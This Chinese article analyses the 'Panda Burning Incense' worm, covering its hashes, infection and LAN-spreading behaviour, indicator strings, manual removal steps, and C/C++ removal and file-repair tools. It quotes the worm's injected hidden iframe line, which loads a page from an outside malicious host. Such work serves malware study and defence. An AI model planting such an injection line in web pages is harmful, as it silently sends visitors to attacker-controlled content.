【病毒分析】熊猫烧香病毒分析及其查杀修复

news2025/3/11 18:00:44

目录

前言

一、样本概况

1.1 样本信息

1.2 测试环境及工具

1.3 分析目标

二、具体行为分析

2.1 主要行为

2.1.1 恶意程序对用户造成的危害

2.2 恶意代码分析

2.2.1 加固后的恶意代码树结构图(是否有加固)

2.2.2 恶意程序的代码分析片段

三、解决方案(或总结)

3.1 提取病毒的特征,利用杀毒软件查杀

3.2 手工查杀步骤或是工具查杀步骤或是查杀思路等。

3.3 编写自动查杀工具

3.4 被感染文件修复工具的编写

3.5 总结


前言

        “熊猫烧香”病毒作为中国计算机病毒史上的典型案例,曾于2006年底至2007年初肆虐网络,造成大规模破坏。其独特的感染方式和强大的破坏力使其成为网络安全领域的重要研究对象。本文将从病毒的原理、传播方式、查杀方法及修复步骤等方面展开分析,帮助读者深入了解这一病毒及其应对策略。

一、样本概况

1.1 样本信息

病毒名称:(Nimaya)熊猫烧香

所属家族:Virus.Win32.Lamer.gx(卡巴斯基) 

MD5 值:B8F8E75C9E77743A61BBEA9CCBCFFD5D

SHA1 值:188FC8FC580C0EA4BF8A8900A3D36471823C8923 

SHA256:0c15096fb3bc30800f7af002c25953162b799391300a62b8507fe8e4f6532768

SSDeep: 3072:apAja0pSLwYqK6hVZ7N4bdq4a53YKCOTpc:a2ja0pShqK65ZOq4QYK1m CRC32:E63D45D3

病毒行为:

设置注册表自启动,删除服务,修改 PE 文件,自我复制,结束杀软进程,删除杀软启动项,局域网感染,下载病毒执行等。

被感染体特征:

被感染体行为:分离出病毒文件和被感染文件,创建病毒进程,其他行为同原病毒文件。

1.2 测试环境及工具

测试环境:VMvare14 windows7-32 系统

工具:火绒剑,ollydebug,IDA,Hash 计算工具,WSExplorer,010Editor

1.3 分析目标

主要对原病毒样本进行分析,解剖出各种恶意行为的代码。

二、具体行为分析

2.1 主要行为

        运行后该病毒将自身拷贝至系统目录,同时修改注册表将自身设置为开机启动项,并遍历各个驱动器,将自身写入各个驱动器,将自身写入写入磁盘的根目录下,增加一个 Autorun.inf 文件,使得用户打开该盘时激活病毒体。随后病毒体开一个线程进行本地文件感染,同时开另外一个线程连接网站下载 ddos 程序进行恶意攻击。

        通过云沙箱大概了解该病毒的执行流程如下图:

被感染的程序主要行为流程如下图:

同时,也可以快速了解各种网络请求如下图。

执行原病毒程序后会产生一个新的病毒进程,如 OD 视图所示:

通过火绒剑各种过滤可以大概发现有以下行为:修改启动项和文件隐藏属性

创建和修改 Desktop.ini 文件,写入时间,或设置只读属性及隐藏

 注册病毒程序启动项,隐藏病毒文件 setup.exe 和 autorun.inf

偷偷请求网站链接

调试技巧:

使用 OD 动态调试样本,不让样本创建进程,修改 ZF 标志位改变 4082ED 跳转,以便调试之后的感染函数代码以及其他函数代码。如下图所示

现在开始列举熊猫烧香的各种恶意行为如下:行为 1:自我复制

遍历进程找到病毒进程(spo0lsv.exe)就退出并结束掉,CopyFile 到系统目录(C:\Windows\System32\drivers),然后就运行程序(spo0lsv.exe)。

代码位置:sub_40819C

如果运行的是被感染的程序就会执行如下代码:

创建批处理文件功能是判断 spo0lsv.exe 是否存在,从被感染的文件分裂出病毒程序重新执行。

行为 2:使用 net share 命令关闭管理共享

代码位置:sub_40CDEC

行为 3:停止杀软进程

与杀毒软件进行对抗,通过窗口名称或进程名称关闭软件。

代码位置:sub_4061B8

行为 4:删除安全类软件在注册表中的启动项

代码位置:sub_406E44

行为 5:注册表中增加病毒程序启动项

代码位置:TimerFunc 以及行为 6 截图中的代码

行为 6:修改注册表中隐藏文件的设置

行为 7:创建病毒进程请见行为 1 截图

行为 8:创建副本文件

创建行为一中的副本和下面的 Setup.exe 副本

代码位置:TimerFunc

行为 9:局域网传播

连接攻击目标的 139 或 445 端口后,匹配账户名和弱密码,连接成功将副本以 GameSetup.exe 的文件名复制到局域网其他电脑中,具体如下图等。

账户如下:

弱密码如下:

连接攻击 139,445 端口如下:代码位置:sub_40B864

复制 GameSetup.exe 文件名的病毒:

代码位置:sub_40A928

行为 10;感染本地 exe,pif,src,html,asp 等文件

代码位置:sub_409348

行为 11:尝试删除 GHO 备份文件

代码位置:sub_409348

行为 12:禁用删除软件相关服务请见见行为 4 截图

行为 13:下载恶意代码,木马等代码位置:sub_40C9B0

代码位置:sub_40C5E0

2.1.1 恶意程序对用户造成的危害

1、复制病毒体,伪造正常程序

2、感染破坏系统中 exe,com,pif,src,html,asp 等文件,被感染执行体还有传染性。其中页面文件写进的脚本会诱导打开别的网站,注入脚本为
<iframe src=http://www.ac86.cn/66/index.htm width="0" height="0"></iframe>。

3、中止大量的反病毒软件进程,删除其服务及启动项,并且会删除扩展名为 gho 的备份文件,设置隐藏文件恢复显示不了。

4、局域网传播感染

5、下载恶意代码并执行

6、向外发包,连接局域网中其他机器。

2.2 恶意代码分析

2.2.1 加固后的恶意代码树结构图(是否有加固)

分析样本已经脱过壳,不过程序执行前部分有不少人为留下的信息,这些应该是病毒制作者与反病毒人员的交流信号,可以忽略。这里可以展示一下该病毒程序的恶意代码执行流程结构图。

2.2.2 恶意程序的代码分析片段

1、总体伪代码和汇编代码框架

2、病毒的自我复制和执行

2、全盘病毒感染和感染个体的细节

遍历磁盘感染:

感染个体文件细节: 

代码位置:sub_407F00

先把目标文件读到内存,获取文件名和大小。复制病毒到感染路径覆盖原文件,然后将被感染文件的内容追加到复制出来的病毒文件中后面,接着追加感染标识WhBoy+原文件名+随机数。分析如下:

感染网页文件如下:

OD中调试被解密的密串和解密之后的脚本代码

4、删除 GHO 备份

5、定时器感染主要操作

6、局域网感染操作
尝试连接局域网目标 139 端口:

尝试连接局域网目标445端口:

7、定时器实现病毒自我保护
伪代码如下:

对应汇编代码部分如下:

关闭杀软类软件程序:

关闭杀软类软件进程:

复制病毒的伪造程序 spo0lsv.exe:

三、解决方案(或总结)

3.1 提取病毒的特征,利用杀毒软件查杀

特征网络 ip:
(1)www.tom.com/
(2)www.163.com/
(3)www.sohu.com/
(4)www.yahoo.com/
(5)www.ac86.cn/66/up.txt
特征字符串:
(1)WhBoy
(2)SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Ad
vanced\\Folder\\Hidden\\SHOWALL\\CheckedValue
(3)感谢艾玛,mopery,海色の月,对此木马的关注!~
(4)`uup2..uxe`tm/vhjnx.fdu/ nsm&uyt
(5)=nb{end'w{g>ispy>,.ps~*bb?2'gm.12&mmeb|'lwl's``wi:&9&#ibmn
lw<%4+:?.nb{end9
(6)d}tq;*&tyld|l. lboy'blt.vj{l'|}|
可以通过本文最后的查杀或修复文件工具算法实现匹配特征值(CRC32 或字
符串)进行查杀,也可以使用相应查杀工具进行杀毒。

3.2 手工查杀步骤或是工具查杀步骤或是查杀思路等。

1、断开网络
2、打开火绒剑结束病毒进程,防止病毒阻止 regedit 的运行
没有火绒剑的话,任务管理器无法启动关闭进程。或者可以在 cmd 中利用
“tasklist”命令进行查看。通过命令“taskkill /f /im 进程 ID”杀掉病毒
进程。
3、打开注册表,打开
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CrrentVersion\Run”,将
svcshare 的项目删除。也可以可以在“运行”中输入“msconfig”取消它的启
动项。

4、恢复被修改的“显示所有文件和文件夹”设置。输入命令“regedit”,
修改注册表项。
5、删除硬盘各分区根目录下的"setup.exe"和"autorun.inf"文件
比如 C 盘,不能直接双击打开,使用命令 dir /ah 查看隐藏文件,del /ah
/f 文件名删除隐藏文件,
还有如下图的残留文件也可以删除。

6、删除掉 C:\Windows\system32\drivers 下的 spoclsv.exe 文件后立即重
启。

5、安装杀毒软件进行全面查杀
6、由于破坏的文件太多,且打开被感染过的软件还是会重复中毒,需重新
安装恢复已经破坏的文件。

3.3 编写自动查杀工具

主要参考姜晔实现算法,代码实现如下:
#include "KillingTools.h"
#include <iostream>
using namespace std;


//根据进程名称获取进程ID
DWORD GetProcessIDByName(const char* pName){
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (INVALID_HANDLE_VALUE == hSnapshot) {
        return NULL;
    }
    PROCESSENTRY32 pe = { sizeof(pe) };
    for (BOOL ret = Process32First(hSnapshot, &pe); ret; ret = Process32Next(hSnapshot, &pe)) {
        USES_CONVERSION;
        if (strcmp(W2CA(pe.szExeFile), pName) == 0) {
            CloseHandle(hSnapshot);
            return pe.th32ProcessID;
        }
    }
    CloseHandle(hSnapshot);
    return 0;
}


//提升权限
BOOL EnablePrivilege(LPCTSTR szPrivilege, BOOL fEnable) {
    BOOL fOk = FALSE;
    HANDLE hToken = NULL;

    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        LookupPrivilegeValue(NULL, szPrivilege, &tp.Privileges[0].Luid);
        tp.Privileges->Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
        fOk = (GetLastError() == ERROR_SUCCESS);

        CloseHandle(hToken);
    }

    return fOk;
}


//计算散列值
DWORD CRC32(BYTE* ptr, DWORD Size){
    DWORD crcTable[256], crcTmp1;
    //动态生成CRC-32表
    for (int i = 0; i < 256; i++){
        crcTmp1 = i;
        for (int j = 8; j > 0; j--){
            if (crcTmp1 & 1) crcTmp1 = (crcTmp1 >> 1) ^ 0xEDB88320L;
            else crcTmp1 >>= 1;
        }

        crcTable[i] = crcTmp1;
    }
    //计算CRC32值
    DWORD crcTmp2 = 0xFFFFFFFF;
    while (Size--){
        crcTmp2 = ((crcTmp2 >> 8) & 0x00FFFFFF) ^ crcTable[(crcTmp2 ^ (*ptr)) & 0xFF];
        ptr++;
    }
    return (crcTmp2 ^ 0xFFFFFFFF);
}


//遍历删除Desktop_.ini
DWORD WINAPI FindFiles(LPVOID lpszPath){
    WIN32_FIND_DATA stFindFile;
    HANDLE hFindFile;
    // 扫描路径
    char szPath[MAX_PATH];
    char szFindFile[MAX_PATH];
    char szSearch[MAX_PATH];
    char *szFilter;
    int len;
    int ret = 0;

    szFilter = "*.*";
    lstrcpy((LPWSTR)szPath, (LPCWSTR)lpszPath);

    len = lstrlen((LPCWSTR)szPath);
    if (szPath[len - 1] != '\\'){
        szPath[len] = '\\';
        szPath[len + 1] = '\0';
    }

    lstrcpy((LPWSTR)szSearch, (LPCWSTR)szPath);
    lstrcat((LPWSTR)szSearch, (LPCWSTR)szFilter);

    hFindFile = FindFirstFile((LPCWSTR)szSearch, &stFindFile);
    if (hFindFile != INVALID_HANDLE_VALUE){
        do{
            lstrcpy((LPWSTR)szFindFile, (LPCWSTR)szPath);
            lstrcat((LPWSTR)szFindFile, stFindFile.cFileName);

            if (stFindFile.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY){
                if (stFindFile.cFileName[0] != '.'){
                    FindFiles(szFindFile);
                }
            }
            else{
                if (!lstrcmp(stFindFile.cFileName, L"Desktop_.ini")){
                    // 去除文件的隐藏、系统以及只读属性
                    DWORD dwFileAttributes = GetFileAttributes((LPCWSTR)szFindFile);
                    dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;
                    dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;
                    dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;
                    SetFileAttributes((LPCWSTR)szFindFile, dwFileAttributes);
                    // 删除Desktop_.ini
                    BOOL bRet = DeleteFile((LPCWSTR)szFindFile);
                    cout << szFindFile << endl;
                    if (bRet){
                        cout << "被删除" << endl;
                    }
                    else{
                        cout << "无法删除" << endl;
                    }
                }
            }
            ret = FindNextFile(hFindFile, &stFindFile);
        } while (ret != 0);
    }

    FindClose(hFindFile);

    return 0;
}




int main() {
    BOOL bRet = FALSE;
    DWORD dwPid = 0;//进程ID

    // 提升权限
    BOOL bRet1 = EnablePrivilege(SE_DEBUG_NAME, TRUE);
    if (bRet1 == FALSE){
        cout << "提升权限失败" << endl;
    }
    else{
        cout << "提升权限成功!" << endl;
    }
    
    dwPid = GetProcessIDByName("spo0lsv.exe");

    if (dwPid != 0) { bRet = 1; }

    //  结束spo0lsv.exe进程,并删除病毒程序本身
    if (bRet == TRUE){
        cout << "查找系统病毒进程..." << endl;
        cout << "系统中存在病毒进程:spo0lsv.exe" << endl;
        cout << "准备进行查杀..." << endl;

        // 打开并尝试结束病毒进程
        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
        if (hProcess == INVALID_HANDLE_VALUE){
            cout << "无法结束病毒进程" << endl;
            return 0;
        }
        bRet = TerminateProcess(hProcess, 0);
        if (bRet == FALSE){
            cout << "无法结束病毒进程" << endl;
            return 0;
        }
        cout << "病毒进程已经结束" << endl;

        CloseHandle(hProcess);
    }
    else{
        cout << "系统中不存在spo0lsv.exe病毒进程" << endl;
    }

    Sleep(10);
    // 查杀磁盘中是否存在名为spo0lsv.exe的病毒文件
    char szSysPath[MAX_PATH] = { 0 };
    GetSystemDirectory((LPWSTR)szSysPath, MAX_PATH);

    lstrcat((LPWSTR)szSysPath, L"\\drivers\\spo0lsv.exe");

    cout << "检查硬盘中是否存在spo0lsv.exe文件..." << endl;

    if (GetFileAttributes((LPWSTR)szSysPath) == 0xFFFFFFFF){
        cout << "spo0lsv.exe病毒文件不存在" << endl;
    }
    else{
        cout << "spo0lsv.exe病毒文件存在,正在计算散列值" << endl;

        HANDLE hFile = CreateFile((LPWSTR)szSysPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hFile == INVALID_HANDLE_VALUE){
            cout << "Create Error" << endl;
            return 0;
        }
        DWORD dwSize = GetFileSize(hFile, NULL);
        if (dwSize == 0xFFFFFFFF){
            cout << "GetFileSize Error" << endl;
            return 0;
        }
        BYTE *pFile = (BYTE*)malloc(dwSize);
        if (pFile == NULL){
            cout << "malloc Error" << endl;
            return 0;
        }

        DWORD dwNum = 0;
        ReadFile(hFile, pFile, dwSize, &dwNum, NULL);
        // 计算spo0lsv.exe的散列值
        DWORD dwCrc32 = CRC32(pFile, dwSize);
        if (pFile != NULL){
            free(pFile);
            pFile = NULL;
        }

        CloseHandle(hFile);
        // 3862775251是“熊猫烧香”病毒的散列值
        if (dwCrc32 != 3862775251){
            cout << "spo0lsv.exe比较校验失败" << endl;
        }
        else{
            cout << "spo0lsv.exe比较校验成功,正在删除..." << endl;

            // 去除文件的隐藏、系统以及只读属性
            DWORD dwFileAttributes = GetFileAttributes((LPCWSTR)szSysPath);
            dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;
            dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;
            dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;
            SetFileAttributes((LPCWSTR)szSysPath, dwFileAttributes);
            // 删除spo0lsv.exe
            bRet = DeleteFile((LPCWSTR)szSysPath);
            if (bRet){
                cout << "spoclsv.exe病毒被删除!" << endl;
            }
            else{
                cout << "spoclsv.exe病毒无法删除" << endl;
            }
        }
    }

    //  删除每个盘符下的setup.exe与autorun.inf,以及Desktop_.ini

    char szDriverString[MAXBYTE] = { 0 };
    char *pTmp = NULL;
    //获取字符串类型的驱动器列表  
    GetLogicalDriveStrings(MAXBYTE, (LPWSTR)szDriverString);

    pTmp = szDriverString;

    while (*pTmp){
        char szAutorunPath[MAX_PATH] = { 0 };
        char szSetupPath[MAX_PATH] = { 0 };
        lstrcat((LPWSTR)szAutorunPath, (LPCWSTR)pTmp);
        lstrcat((LPWSTR)szAutorunPath, L"autorun.inf");
        lstrcat((LPWSTR)szSetupPath, (LPCWSTR)pTmp);
        lstrcat((LPWSTR)szSetupPath, L"setup.exe");

        if (GetFileAttributes((LPCWSTR)szSetupPath) == 0xFFFFFFFF){
            cout << pTmp << " setup.exe病毒文件不存在" << endl;
        }
        else{
            cout << pTmp << " setup.exe病毒文件存在,正在进行计算校验和..." << endl;
            HANDLE hFile = CreateFile((LPCWSTR)szSetupPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
            if (hFile == INVALID_HANDLE_VALUE){
                cout << "Create Error" << endl;
                return 0;
            }
            DWORD dwSize = GetFileSize(hFile, NULL);
            if (dwSize == 0xFFFFFFFF){
                cout << "GetFileSize Error" << endl;
                return 0;
            }
            BYTE *pFile = (BYTE*)malloc(dwSize);
            if (pFile == NULL){
                cout << "malloc Error" << endl;
                return 0;
            }

            DWORD dwNum = 0;
            ReadFile(hFile, pFile, dwSize, &dwNum, NULL);

            DWORD dwCrc32 = CRC32(pFile, dwSize);
            if (pFile != NULL){
                free(pFile);
                pFile = NULL;
            }
            CloseHandle(hFile);
            if (dwCrc32 != 3862775251){
                cout << "比较校验失败" << endl;
            }
            else{
                cout << "比较校验成功,正在删除..." << endl;

                // 去除文件的隐藏、系统以及只读属性
                DWORD dwFileAttributes = GetFileAttributes((LPCWSTR)szSetupPath);
                dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;
                dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;
                dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;
                SetFileAttributes((LPCWSTR)szSetupPath, dwFileAttributes);
                // 删除setup.exe
                bRet = DeleteFile((LPCWSTR)szSetupPath);
                if (bRet){
                    cout << pTmp << " setup.exe病毒已删除!" << endl;
                }
                else{
                    cout << pTmp << " setup.exe病毒无法删除" << endl;
                }
            }
        }
        // 去除文件的隐藏、系统以及只读属性
        DWORD dwFileAttributes = GetFileAttributes((LPCWSTR)szAutorunPath);
        dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;
        dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;
        dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;
        SetFileAttributes((LPCWSTR)szAutorunPath, dwFileAttributes);
        // 删除autorun.inf
        bRet = DeleteFile((LPCWSTR)szAutorunPath);

        if (bRet){
            cout << pTmp << " autorun.inf已删除!" << endl;
        }
        else{
            cout << pTmp << " autorun.inf不存在或无法删除" << endl;
        }
        // 删除Desktop_.ini
        FindFiles(pTmp);
        // 检查下一个盘符
        pTmp += 4;
    }

    //  修复注册表内容,删除病毒启动项并修复文件的隐藏显示
    cout << "正在检查注册表..." << endl;

    // 首先检查启动项
    TCHAR RegRun[] = TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
    HKEY hKeyHKCU = NULL;
    LONG lSize = MAXBYTE;
    char cData[MAXBYTE] = { 0 };

    long lRet = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCWSTR)RegRun, 0, KEY_WOW64_32KEY | KEY_ALL_ACCESS, &hKeyHKCU);
    if (lRet == ERROR_SUCCESS){
        lRet = RegQueryValueEx(hKeyHKCU, L"svcshare", NULL, NULL, (unsigned char *)cData, (unsigned long *)&lSize);
        if (lRet == ERROR_SUCCESS){
            if (lstrcmp((LPCWSTR)cData, L"C:\\WINDOWS\\system32\\drivers\\spo0lsv.exe") == 0){
                cout << "注册表启动项中存在病毒信息项" << endl;
            }

            lRet = RegDeleteValue(hKeyHKCU, L"svcshare");
            if (lRet == ERROR_SUCCESS){
                cout << "注册表启动项中的病毒信息已删除!" << endl;
            }
            else{
                cout << "注册表启动项中的病毒信息无法删除" << endl;
            }
        }
        else{
            cout << "注册表启动项中不存在病毒信息" << endl;
        }
        RegCloseKey(hKeyHKCU);
    }
    else{
        cout << "注册表启动项信息读取失败" << endl;
    }
    // 接下来修复文件的隐藏显示,需要将CheckedValue的值设置为1
    TCHAR RegHide[] = TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL");
    HKEY hKeyHKLM = NULL;
    DWORD dwFlag = 1;

    long lRetHide = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCWSTR)RegHide, 0, KEY_WOW64_32KEY | KEY_ALL_ACCESS, &hKeyHKLM);

    if (lRetHide == ERROR_SUCCESS){
        cout << "检测注册表的文件隐藏选项..." << endl;

        if (ERROR_SUCCESS == RegSetValueEx(
            hKeyHKLM,             //subkey handle  
            L"CheckedValue",       //value name  
            0,                    //must be zero  
            REG_DWORD,            //value type  
            (CONST BYTE*)&dwFlag, //pointer to value data  
            4))                   //length of value data
        {
            cout << "注册表修复完毕!" << endl;
        }
        else{
            cout << "无法恢复注册表的文件隐藏选项" << endl;
        }
    }

    cout << "病毒初步查杀完成,请使用专业杀毒软件进行全面扫描!" << endl;
    system("pause");
    return 0;
}
实现效果如下:

        实现功能有:提升权限查杀病毒进程,遍历盘符删除病毒文件或自动运行脚 本,以及删除病毒的注册表启动项和修改回来设置的文件隐藏选项。

3.4 被感染文件修复工具的编写

        通过上面详细的分析已经知道,该熊猫烧香病毒感染 exe 等非网页文件时,只是复制了一份以被感染文件命名的病毒文件,在其后面追加被感染文件的内容,后面再加上感染标志。而网页文件只是简单的在其原文件的末尾添加了一段 脚本代码。 
        由此我们也容易使用 010Editor 工具进行手工还原文件。这里我尝试编写一 个恢复单个被感染 exe 文件的小例子。例如如下图恢复被感染程序 Exam1.exe, RecoverFiles.exe 是编写的修复工具。如果想实现全盘修复,需要自己遍历盘 符和文件夹各文件。修复工具效果如下:
RecoverFiles.exe 执行之前:

RecoverFiles.exe 执行之后:

Exam1.exe 修复完还能正常运行:

实现代码如下:
#include <stdio.h>
#include "stdlib.h"
#include <windows.h>

//str1中寻找str2的位置
int findsub(char *str1, char *str2, long sizes)
{
    int i = 0, j = 0;
    while (sizes - i) //多少个字符长度就执行多少次
    {
        for (; str1[i] != str2[0]; i++);//后面每个字符比较都不相等就i++

        if (str1[i] == str2[0])//判断首次相等
        {
            for (j = 0; str1[i + j] == str2[j]; j++);//后面每个字符比较都相等就j++

            if (str2[j] == '\0')//直到把字符串2都比较完都相等
                return i + 1;   // 返回字符串2中出现字符串1的第一个位置
        }
        i++; //不相等就继续往后走
    }
    return -1;//如果没有找到合适的返回-1.
}


//恢复被感染文件为正常文件
void recover(int pos1, int pos2) {
    FILE *in, *out;
    char ch;

    //打开源文件Exam1.exe
    if ((in = fopen("Exam1.exe", "rb")) == NULL)
    {
        printf("The file %s can not be opened.\n", "Exam1.exe");
        return;
    }

    //创建修复文件Exam2.exe
    if ((out = fopen("Exam2.exe", "wb")) == NULL)
    {
        printf("The file %s can not be opened.\n", "Exam2.exe");
        return;
    }

    int i = 0;
    while (!feof(in))//判断文本结束
    {
        ch = fgetc(in);//读取一个字符
        if (ferror(in))
        {
            printf("read error!\n");
            clearerr(in);
        }
        else
        {
            //写入特定位置的字符
            if (pos1 <= i&&i <= pos2)
                fputc(ch, out);

            i++;//移动位置
            if (ferror(out))//ferror函数检查输出
            {
                printf("write error!\n");
                //文件错误标志和文件结束标志置为0
                clearerr(out);
            }
        }
    }
    //关闭文件流
    fclose(in);
    fclose(out);
}


void main()
{
    FILE *f = fopen("Exam1.exe", "rb");
    fseek(f, 0, SEEK_END);
    long fsize = ftell(f);//获取源文件大小
    fseek(f, 0, SEEK_SET);

    fclose(f);

    //用于存储源文件内容
    char *string = (char*)malloc(fsize + 1);

    FILE *in, *out;
    char ch;

    if ((in = fopen("Exam1.exe", "rb")) == NULL)
    {
        printf("The file %s can not be opened.\n", "Exam1.exe");
        return;
    }

    int i = 0;
    while (!feof(in))
    {
        ch = fgetc(in);
        if (ferror(in))
        {
            printf("read error!\n");
            clearerr(in);
        }
        else
        {
            //一个个字符保存
            string[i] = ch;
            i++;
        }
    }

    fclose(in);

    //保存正常文件的MZ头位置
    int count1 = findsub(string, "This", fsize + 1) - 79;
    //保存感染标志位WhBoyExam1的位置
    int count2 = findsub(string, "WhBoyExam1", fsize + 1) - 2;
    //开始修复文件
    recover(count1, count2);
    //释放内存
    delete string;
    //删除病毒文件
    DeleteFile(L"Exam1.exe");
    system("pause");
}

3.5 总结

        熊猫烧香是蠕虫病毒的变种,Delphi 语言编写,本文研究的病毒版本中,它 拥有自我复制,本地感染和局域网感染的能力,甚至感染网页代码。感染寄生于 被感染文件,执行被感染文件时会分离出病毒程序并执行。病毒运行时存在关闭 安全软件类进程,关闭并删除安全软件相关服务,启动项,删除 GHO 系统备份文 件,更换软件图标等动作。本次分析居于环境,时间问题和个人能力有限,不能 一一详尽还原病毒执行流程细节,还望各位多多谅解,多多指导!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2313330.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【语料数据爬虫】Python实现将Json语料数据转换成Word文档

前言 本文是该专栏的第1篇,后面会持续分享Python爬虫采集各种语料数据的的干货知识,值得关注。 本专栏为笔者精心推出的“语料数据”爬虫专栏,特别适合需要写作素材的同学,该专栏文章以采集最新的“语料数据”为主,最终篇幅将涵盖【百万级语料数据】库。 值得一提的是,…

警惕AI神话破灭:深度解析大模型缺陷与禁用场景指南

摘要 当前AI大模型虽展现强大能力&#xff0c;但其本质缺陷可能引发系统性风险。本文从认知鸿沟、数据困境、伦理雷区、技术瓶颈四大维度剖析大模型局限性&#xff0c;揭示医疗诊断、法律决策等8类禁用场景&#xff0c;提出可信AI建设框架与用户防护策略。通过理论分析与实操案…

RoboVQA:机器人多模态长范围推理

23 年 11 月来自 Google Deepmind 的论文“RoboVQA: Multimodal Long-Horizon Reasoning for Robotics”。 本文提出一种可扩展、自下而上且本质多样化的数据收集方案&#xff0c;该方案可用于长期和中期的高级推理&#xff0c;与传统的狭窄自上而下的逐步收集相比&#xff0c…

C 语言数据结构(二):顺序表和链表

目录 1. 线性表 2. 顺序表 2.1 概念及结构 2.1.1 静态顺序表&#xff08;不常用&#xff09; 2.1.2 动态顺序表&#xff08;常用&#xff09; ​编辑 2.2 练习 2.2.1 移除元素 2.2.2 删除有序数组中的重复项 2.2.3 合并两个有序数组 2.3 顺序表存在的问题 3. 链表 …

无公网IP也能远程控制Windows:Linux rdesktop内网穿透实战

文章目录 前言1. Windows 开启远程桌面2. Linux安装rdesktop工具3. Win安装Cpolar工具4. 配置远程桌面地址5. 远程桌面连接测试6. 设置固定远程地址7. 固定地址连接测试 前言 如今远程办公已经从一种选择变成了许多企业和个人的必修课&#xff0c;而如何在Linux系统上高效地访…

uniapp+Vue3 开发小程序的下载文件功能

小程序下载文件&#xff0c;可以先预览文件内容&#xff0c;然后在手机上打开文件的工具中选择保存。 简单示例&#xff1a;&#xff08;复制到HBuilder直接食用即可&#xff09; <template><view class"container-detail"><view class"example…

blazemeter工具使用--用于自动生成jmeter脚本并进行性能测试

1、安装blazemeter&#xff08;网上有很多详情的教程&#xff09; 2、开始录制&#xff1a;设置号你的文件名称后开始录制 3、录制完成后保存为jmeter(jmx)文件 4、在jmeter中打开文件 5、添加一个后置处理器&#xff1a;查看结果树&#xff0c;后运行看看能否成功&#xf…

通义万相2.1:开启视频生成新时代

文章摘要&#xff1a;通义万相 2.1 是一款在人工智能视频生成领域具有里程碑意义的工具&#xff0c;它通过核心技术的升级和创新&#xff0c;为创作者提供了更强大、更智能的创作能力。本文详细介绍了通义万相 2.1 的背景、核心技术、功能特性、性能评测、用户反馈以及应用场景…

如何用HTML5 Canvas实现电子签名功能✍️

&#x1f916; 作者简介&#xff1a;水煮白菜王&#xff0c;一位资深前端劝退师 &#x1f47b; &#x1f440; 文章专栏&#xff1a; 前端专栏 &#xff0c;记录一下平时在博客写作中&#xff0c;总结出的一些开发技巧和知识归纳总结✍。 感谢支持&#x1f495;&#x1f495;&a…

区块链中的数字签名:安全性与可信度的核心

数字签名是区块链技术的信任基石&#xff0c;它像区块链世界的身份证和防伪标签&#xff0c;确保每一笔交易的真实性、完整性和不可抵赖性。本文会用通俗的语言&#xff0c;带你彻底搞懂区块链中的数字签名&#xff01; 文章目录 1. 数字签名是什么&#xff1f;从现实世界到区块…

表格columns拼接两个后端返回的字段(以umi框架为例)

在用组件对前端项目进行开发时&#xff0c;我们会遇到以下情况&#xff1a;项目原型中有取值范围这个表字段&#xff0c;需要存放最小取值到最大取值。 而后端返回给我们的数据是返回了一个最小值和一个最大值&#xff0c; 在columns中我们需要对这两个字段进行拼接&#xff0…

sparkTTS window 安装

SparkTTS 的简介 Spark-TTS是一种基于SpardAudio团队提出的 BiCodec 构建的新系统&#xff0c;BiCodec 是一种单流语音编解码器&#xff0c;可将语音策略性地分解为两种互补的标记类型&#xff1a;用于语言内容的低比特率语义标记和用于说话者特定属性的固定长度全局标记。这种…

【K8S系列】深入探究Kubernetes中查看日志的方法

在Kubernetes&#xff08;简称K8s&#xff09;的世界里&#xff0c;日志是诊断和排查问题的关键线索。无论是应用程序的运行状态、错误信息&#xff0c;还是系统的健康状况&#xff0c;都能从日志中找到蛛丝马迹。本文将详细介绍在K8s中查看日志的各种方法&#xff0c;从基础的…

JmeterHttp请求头管理出现Unsupported Media Type问题解决

JmeterHttp请求头管理出现Unsupported Media Type问题解决 大多数的app与pc端压测的时候都会出现这种情况 当我们在jemter测试当中当中遇见Unsupported Media Type&#xff0c;有一种可能就是我们请求的网页的content-Type的类型与我们测试的时候的类型不一致 解决方法 可以添…

十大数据科学Python库

十大数据科学Python库 1、NumPy&#xff1a;脊髓2、Pandas&#xff1a;数据操纵专家3、Matplotlib&#xff1a;艺术之魂4、Scikit-Learn&#xff1a;瑞士军刀5、TensorFlow&#xff1a;聪明的家伙6、PyTorch&#xff1a;叛逆者7、Selenium&#xff1a;操纵大师8、NLTK&#xff…

LabVIEW伺服阀高频振动测试

